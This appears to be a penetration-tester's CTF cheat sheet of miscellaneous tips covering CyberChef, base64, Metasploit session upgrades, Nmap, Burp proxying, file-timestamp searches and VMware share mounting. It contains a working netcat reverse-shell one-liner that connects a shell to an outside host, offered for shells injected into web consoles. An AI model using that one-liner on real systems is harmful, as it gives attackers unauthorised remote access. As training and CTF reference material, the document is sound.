General tips

General CTF data analysis (encoding, hash identifier, etc.)

https://gchq.github.io/CyberChef/

Disposable email

If you are signing up for a lot of accounts you can use a disposable email. You just enter the email account you want for that second, and then you can view it. But remember, so can everyone else.
https://www.mailinator.com

Base64 encode/decode

import base64

encoded = base64.b64encode("String to encode")
print encoded

decoded = base64.b64decode("aGVqc2Fu")
print decoded

Quick Base64 Decoder

echo aGVsbG8gd2hpdGUgaGF0Cg== | base64 -d

Metasploit Slow Search Fix

db_rebuild_cache

Default passwords

http://www.defaultpassword.com/

Getting GUI on machine that does not have RDP or VNC

You can forward X over SSH.
http://www.vanemery.com/Linux/XoverSSH/X-over-SSH2.html

Metasploit shell upgrade

In metasploit framework, if we have a shell ( you should try this also, when you are trying to interact with a shell and it dies (happened in a VM), we can upgrade it to meterpreter by using sessions -u

sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

-u <opt>  Upgrade a shell to a meterpreter session on many platforms

Using a list in a metasploit module that does not allow it

In the RHOSTS field enter:

file://PATHTOIPADDRESSES

Change Nmap modes while scanning

v   --increase verbosity
p   --turn on packets

Nmap host enumeration

-sn --determine alive hosts

Issues with Exploits (try viewing in Burp)

Options->Add(proxy Listeners)->
Bind to port (i.e.local port to bind)(e.g.8500)->
Request Handling->
Redirect to host(i.e.IP of target)(e.g.8500)->
Redirect to port(i.e.Port of target)(e.g.8500)

then browser
localhost:8500
or run the exploit again

Quick determination if executables exist

which nc

Makes Sure shells don't hang (send to background)

If adding a reverse shell to web console for example, add a "&" to the end of reverse shell, to send to background
and in case any process during interaction hangs
for example:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f &

Modification of Files (CTF specific / IR trick)

look for other files modified after initial flag file or other indicator

find / -type f -newermt 2017-08-20 ! -newermt 2017-08-24 2>/dev/null

Note: 2>/dev/null hides all permission denied error messages

above example the user flag was uploaded aug 22 2017

Remove white space from a file

In order to wipe all whitespace including newlines you can try:

cat file.txt | tr -d " \t\n\r"

You can also use the character classes defined by tr

cat file.txt | tr -d "[:space:]"

For example, in order to wipe just horizontal white space:

cat file.txt | tr -d "[:blank:]"

Mounting a folder share from Windows host to VM

root@kali:~/Desktop# cat mount-shared-folders.sh 
#!/bin/bash

vmware-hgfsclient | while read folder; do
  echo "[i] Mounting ${folder}   (/mnt/hgfs/${folder})"
  mkdir -p "/mnt/hgfs/${folder}"
  umount -f "/mnt/hgfs/${folder}" 2>/dev/null
  vmhgfs-fuse -o allow_other -o auto_unmount ".host:/${folder}" "/mnt/hgfs/${folder}"
done

sleep 2s